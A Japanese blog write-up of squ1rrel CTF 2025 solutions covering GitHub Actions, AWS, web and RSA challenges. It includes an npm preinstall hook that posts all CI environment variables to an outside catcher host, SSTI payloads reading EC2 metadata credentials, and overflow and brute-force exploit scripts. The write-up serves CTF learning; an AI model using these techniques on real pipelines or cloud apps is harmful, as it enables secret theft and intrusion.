はまやんはまやんはまやん

hamayanhamayan's blog

squ1rrel CTF 2025 Writeup

[cloud] opensource

The entirety of this challenge takes place on GitHub. Accept the challenge at https://[redacte]/ (do not attack this website, it is not part of the challenge).

GitHub Actionsの環境変数を利用した脆弱性を突くチャレンジ。GitHub OAuthでログイン後、専用リポジトリに招待される。フォークしてPull Requestを出すと、GitHubワークフローが環境変数としてシークレットを渡す仕組みを悪用する。

脆弱性.github/workflows/test.ymlにある。中身は以下。

name: Test Build

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          ref: ${{github.event.pull_request.head.ref}}
          repository: ${{github.event.pull_request.head.repo.full_name}}
          token: ${{ secrets.PAT }}
      - name: Set up Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
      - name: Install dependencies
        run: npm install
        env:
          FLAG: ${{ secrets.FLAG }}
      - name: Run build
        run: npm run build

pull_request_target トリガーを使用して、PRに対してFLAG環境変数に入れた状態でnpm installを実行している。つまり、悪意あるPRを作って、npm installで任意コード実行してやって、環境変数を抜けば良い。リポジトリをフォークして、package.json に以下のようなスクリプトを追加する。

{
  "scripts": {
    "preinstall": "node -e \"fetch('https://[yours].requestcatcher.com/get', { method: 'post', body: JSON.stringify(process.env) })\""
  }
}

preinstall は、npm install 実行前に自動的に実行されるので、環境変数(FLAGを含む)をすべて外部サーバーに送信できる。このコードを含むPRを作成すると、GitHub Actionsワークフローが実行され、フラグが得られる。

[cloud] metadata

Just vibe coded my very first website, and my friend put it up on his EC2. No shot it has any security vulnerabilities, right?

AWS EC2インスタンス上で動作するWebアプリケーションの脆弱性を利用する。アプリケーションにはSSTI脆弱性があり、これを利用してメタデータサービスにアクセスし、EC2のIAMロール認証情報を取得する。取得した認証情報を使ってAWS Secrets Managerからフラグを取得する。

SSTI

まず、SSTIがあることを見つける。フォームに{{4*4}}を入力すると、計算結果の「16」が返ってくる。

$ curl 'http://[redacted]/greet' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name=%7B%7B4*4%7D%7D'
Hello, 16!

この脆弱性を利用して、SSRFしてみよう。pythonのurlibを使ってAWS EC2インスタンスメタデータサービスにアクセスする。

{{request.application.__globals__.__builtins__.__import__('urllib').request.urlopen("http://169.254.169.254/latest/meta-data/").read()}}

これで色々出てきたのでガチャガチャやると、ec2instanceroleというIAMロールのアクセス認証情報が取れる。

{{request.application.__globals__.__builtins__.__import__('urllib').request.urlopen("http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2instancerole").read()}}

この結果、以下のような認証情報が得られる。

{ 
  "Code" : "Success", 
  "LastUpdated" : "2025-04-05T13:14:58Z", 
  "Type" : "AWS-HMAC", 
  "AccessKeyId" : "[redacted]", 
  "SecretAccessKey" : "[redacted]", 
  "Token" : "[redacted]", 
  "Expiration" : "2025-04-05T19:41:22Z" 
}

IAMロールポリシーの調査

取得した認証情報を使用して、IAMロールのポリシーを確認する。

$ aws iam get-role --role-name ec2instancerole
{
    "Role": {
        "Path": "/",
        "RoleName": "ec2instancerole",
        "RoleId": "[redacted]",
        "Arn": "arn:aws:iam::[redacted]:role/ec2instancerole",
        "CreateDate": "2025-04-04T00:15:10+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "ec2.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "Allows EC2 instances to call AWS services on your behalf.",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2025-04-05T14:05:04+00:00",
            "Region": "us-east-1"
        }
    }
}

$ aws iam list-attached-role-policies --role-name ec2instancerole
{
    "AttachedPolicies": [
        {
            "PolicyName": "ec2instancepolicy",
            "PolicyArn": "arn:aws:iam::[redacted]:policy/ec2instancepolicy"
        }
    ]
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::[redacted]:policy/ec2instancepolicy --version-id v6
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecrets",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-2:[redacted]:*"
                }
            ]
        },
        "VersionId": "v6",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-04T00:37:02+00:00"
    }
}

AWS Secrets Managerに対して権限がいくらかある。ListSecretsをやってみるが、うまくいかない。flagという名前かな…と思って取得してみると取れて、フラグが書いてある。

$ aws secretsmanager get-secret-value --secret-id flag
{
    "ARN": "arn:aws:secretsmanager:us-east-2:[redacted]:secret:flag-imCL9a",
    "Name": "flag",
    "VersionId": "6383bf21-9007-465c-9908-b08d7397bb0b",
    "SecretString": "{\"flag\":\"squ1rrel{you_better_not_have_vibe_coded_the_solution_to_this_challenge}\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-04-05T01:01:42.266000+09:00"
}

[cloud] escalate

In order to get access to this challenge, you must first complete metadata. To start this challenge, make a ticket with your team name to request an AWS account for your team. (Only one AWS account per team!)

AWSのアカウントがもらえるので、それを悪用してフラグを取ってくるチャレンジ。ctfuserというユーザーの認証情報が与えられる。webのマネージメントコンソールにログインして、地道に探索探すとIAMでポリシーとロールが確認できた。

  • ポリシー「MagicPolicy」 : ロール「MagicRole」にアタッチされている
    • arn:aws:s3:::squ1rrel-ctf-flagsに対してs3:ListBucketがAllow
    • *に対してlogs:{CreateLogGroup,CreateLogStream,PutLogEvents}がAllow
  • ポリシー「UserPolicy」 : ctfuserにアタッチされている
    • *に対して
      • iam:{SetDefaultPolicyVersion,ListRoles,GetRole,ListPolicies,ListPolicyVersions,ListAttachedRolePolicies,GetPolicy,GetPolicyVersion,ListEntitiesForPolicy}がAllow
      • lambda:{GetFunction,CreateFunction,InvokeFunction,UpdateFunctionCode,UpdateFunctionConfiguration,DeleteFunction,ListFunctions}がAllow

ということで、lambdaのMagicRoleを手に入れて、s3のsqu1rrel-ctf-flagsをListしてみる。既存のlanbda関数は無かったので、MagicRoleを実行ロールとして新規で関数を作って以下のように実行してみた。

import json
import boto3

s3 = boto3.client('s3')

def lambda_handler(event, context):
    bucket_name = 'squ1rrel-ctf-flags'
    
    try:
        response = s3.list_objects_v2(Bucket=bucket_name)
        print(response)
        
        return {
            'statusCode': 200,
            'body': json.dumps(response)
        }
    
    except Exception as e:
        print(e)
        
        return {
            'statusCode': 500,
            'body': json.dumps({'message': 'err'})
        }

これをテストで動かすと以下のように帰ってきて、ファイル名がフラグになっていた。

{'ResponseMetadata': {'RequestId': '[redacted]', 'HostId': '[redacted]', 'HTTPStatusCode': 200, 'HTTPHeaders': {'x-amz-id-2': '[redacted]', 'x-amz-request-id': '[redacted]', 'date': 'Sun, 06 Apr 2025 08:14:00 GMT', 'x-amz-bucket-region': 'us-east-1', 'content-type': 'application/xml', 'transfer-encoding': 'chunked', 'server': 'AmazonS3'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Contents': [{'Key': 'squ1rrel{dont_you_love_aws}.txt', 'LastModified': datetime.datetime(2025, 4, 4, 5, 59, 47, tzinfo=tzlocal()), 'ETag': '"[redacted]"', 'ChecksumAlgorithm': ['CRC64NVME'], 'Size': 0, 'StorageClass': 'STANDARD'}], 'Name': 'squ1rrel-ctf-flags', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url', 'KeyCount': 1}

[web] go getter

There's a joke to be made here about Python eating the OGopher. I'll cook on it and get back to you.

ソースコード有り。GoアプリとPythonサービスの連携における脆弱性を突く問題。フロントであるGoアプリはリクエストをフィルタリングし、バックエンドのPythonサービスはフラグ取得のエンドポイントを持つ。JSON解析の違いを利用してGoのフィルタを回避する。golang側(フロントエンド)では

// Struct to parse incoming JSON
type RequestData struct {
    Action string `json:"action"`
}
...
// Parse JSON
var requestData RequestData
if err := json.Unmarshal(body, &requestData); err != nil {
    http.Error(w, "Invalid JSON", http.StatusBadRequest)
    return
}

// Process action
switch requestData.Action {
case "getgopher":
        resp, err := http.Post("http://python-service:8081/execute", "application/json", bytes.NewBuffer(body))
        if err != nil {
            log.Printf("Failed to reach Python API: %v", err)
            http.Error(w, "Failed to reach Python API", http.StatusInternalServerError)
            return
        }
        defer resp.Body.Close()

としていて、python側(バックエンド)では

@app.route('/execute', methods=['POST'])
def execute():
    # Ensure request has JSON
    if not request.is_json:
        return jsonify({"error": "Invalid JSON"}), 400

    data = request.get_json()

としている。それぞれのミドルウェアの細かい実装は確認せず、簡易fuzzerを作ってガチャガチャやると{"action":"getflag", "Action":"getgopher"}で不整合が起こせてフラグが得られる。どうやら、golangの方はjsonのkeyについてcase-insensitiveだが、pythonではcase-sensitiveのようだ。

[Web] emojicrypt

Passwords can be more secure. We're taking the first step.

ソースコード有り。パスワード認証機能を持つWebアプリケーションの脆弱性を突く問題。ユーザー登録時にパスワードは自動生成され、認証時にはbcryptハッシュとソルトが使われる。ソルトとして複数の絵文字が使用されているのが特徴。

from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os

app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['🌀', '🌁', '🌂', '🌐', '🌱', '🍀', '🍁', '🍂', '🍄', '🍅', '🎁', '🎒', '🎓', '🎵', '😀', '😁', '😂', '😕', '😶', '😩', '😗']
NUMBERS = '0123456789'

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

@app.route('/register', methods=['POST'])
def register():
    # 省略
    salt = generate_salt()
    random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
    password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')

    # TODO: email the password to the user. oopsies!
    # パスワードがユーザーに通知されない

@app.route('/login', methods=['POST'])
def login():
    # 省略
    salt, hash = data
    
    if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
        return os.environ.get("FLAG")

重要な部分を抜粋すると以上のような感じ。パスワードが自動生成されるが共有されないので、ログインできないよね?という形。

bcryptの制約を悪用

bcryptのハッシュ関数は入力が72バイトを超える場合、72バイトで切り詰められるという制約がある。この問題では、ソルトとして多数の絵文字が使われており、UTF-8で長いバイト列になる。

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

絵文字は一つあたり3~4バイトを消費するため、12個の絵文字と間に挟まる「aa」を合わせるとソルトだけで既に長いバイト列となる。その後に32桁のパスワードを結合すると、72バイトの制限を超えてしまう。結果として、パスワードの大部分が切り詰められ、実際には最初の数桁(2桁程度)のみがハッシュ計算に使用される仕組みになっている。これにより、1032だった探索空間が102に減少し、総当たり攻撃が現実的な時間で可能になる。2桁の数字の全ての組み合わせ(00-99)をブルートフォースで試すソルバーが以下で、これを回すとフラグが得られる。

#!/usr/bin/env python3

import bcrypt
import requests
import itertools

URL = "http://[redacted]"

TEST_USERNAME = "test_user_" + ''.join([str(i) for i in range(10)])
TEST_EMAIL = TEST_USERNAME + "@example.com"

DIGITS = "0123456789"

def try_login(password):
    data = {
        'username': TEST_USERNAME,
        'password': password
    }
    response = requests.post(f"{URL}/login", data=data)
    
    if "incorrect" not in response.url and response.status_code == 200:
        print(response.text)
        return True
    return False

requests.post(f"{URL}/register", data={'email': TEST_EMAIL, 'username': TEST_USERNAME})

for password in itertools.product(DIGITS, repeat=2):
    password = ''.join(password)
    if try_login(password):
        break

[Web] acorn clicker

Click acorns. Buy squirrels. Profit.

ソースコード有り。クリックでacornsを稼ぎ、999999999999999999acornsでフラグが買える。高額で通常の方法では入手不可能なので、バックエンドの入力検証の脆弱性を突いて大量のacornsを入手する必要がある。

app.post("/api/click", authenticate, async (req, res) => {
  // increase user balance
  const { username } = req.user;
  const { amount } = req.body;

  if (typeof amount !== "number") {
    return res.status(400).send("Invalid amount");
  }

  if (amount > 10) {
    return res.status(400).send("Invalid amount");
  }

  let bigIntAmount;

  try {
    bigIntAmount = BigInt(amount);
  } catch (err) {
    return res.status(400).send("Invalid amount");
  }

  await db
    .collection("accounts")
    .updateOne({ username }, { $inc: { balance: bigIntAmount } });

  res.json({ earned: amount });
});

負の値による入力検証バイパス

clickエンドポイントでは、入力値のチェックで「10より大きくないか」のみを検証しており、負の値のチェックを行っていない。そのため、負の値を送信すると、バランスを減らすことができる。注目すべき点は、MongoDBのint64型とJavaScriptのBigInt型の扱いの違いで、MongoDBのint64型は固定長であるのに対し、JavaScriptのBigInt型は任意精度整数である。よって、JavaScript側ではMongoDBで負の方向にオーバーフローを起こすような入力を入れ込むことができる。

よって以下のようにオーバーフローが起きる大きい負の値を入れてやると、大きい正のacornsが得られて、フラグが取得できるようになる。

curl 'http://challenge-url:8080/api/click' \
  -H 'Authorization: Bearer {JWT_TOKEN}' \
  -H 'Content-Type: application/json' \
  --data-raw '{"amount":-9223372036854775808}'

[crypto] Easy RSA

"The security of RSA relies on the practical difficulty of factoring the product of two large prime numbers, the 'factoring problem'" -Wikipedia

ソースコードは以下の通り。

import random
from sympy import nextprime, mod_inverse


def gen_primes(bit_length, diff=2**32):
    p = nextprime(random.getrandbits(bit_length))
    q = nextprime(p + random.randint(diff//2, diff))
    return p, q


def gen_keys(bit_length=1024):
    p, q = gen_primes(bit_length)
    n = p * q
    phi = (p - 1) * (q - 1)

    e = 65537
    d = mod_inverse(e, phi)

    return (n, e)


def encrypt(message, public_key):
    n, e = public_key
    message_int = int.from_bytes(message.encode(), 'big')
    ciphertext = pow(message_int, e, n)
    return ciphertext


if __name__ == "__main__":
    public_key = gen_keys()

    message = "FLAG"
    ciphertext = encrypt(message, public_key)

    f = open("easy_rsa.txt", "a")
    f.write(f"n: {public_key[0]} \n")
    f.write(f"e: {public_key[1]} \n")
    f.write(f"c: {ciphertext}")
    f.close()

脆弱点は以下で、二つの素数pとqが非常に近い値で生成されていること。

p = nextprime(random.getrandbits(bit_length))
q = nextprime(p + random.randint(diff//2, diff))

フェルマー素因数分解で解く

二つの素数pとqが近い場合、フェルマー素因数分解を使って効率的に因数分解できる。素因数分解の実装はここから借りてきたが、以下のようなソルバで解ける。

import gmpy2

# https://tex2e.github.io/blog/crypto/fermat-factorization-method
def fermat_factors(n):
    assert n % 2 != 0
    x = gmpy2.isqrt(n)
    y2 = x**2 - n
    while not gmpy2.is_square(y2):
        x += 1
        y2 = x**2 - n
    factor1 = x + gmpy2.isqrt(y2)  # a = x + y
    factor2 = x - gmpy2.isqrt(y2)  # b = x - y
    return int(factor1), int(factor2)

n = 26518484190072684543796636642573643429663718007657844401363773206659586306986264997767920520901884078894807042866105584826044096909054367742753454178100533852686155634326578229244464083405472076784252798532101323300927917033985149599262487556178538148122012479094592746981412717431260240328326665253193374956717147239124238669998383943846418315819353858592278242580832695035016713351286816376107787722262574185450560176240134182669922757134881941918668067864082251416681188295948127121973857376227427652243249227143249036846400440184395983449367274506961173876131312502878352761335998067274325965774900643209446005663
e = 65537
c = 14348338827461086677721392146480940700779126717642704712390609979555667316222300910938184262325989361356621355740821450291276190410903072539047611486439984853997473162360371156442125577815817328959277482760973390721183548251315381656163549044110292209833480901571843401260931970647928971053471126873192145825248657671112394111129236255144807222107062898136588067644203143226369746529685617078054235998762912294188770379463390263607054883907325356551707971088954430361996309098504380934167675525860405086306135899933171103093138346158349497350586212612442120636759620471953311221396375007425956203746772190351265066237
p, q = fermat_factors(n)

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))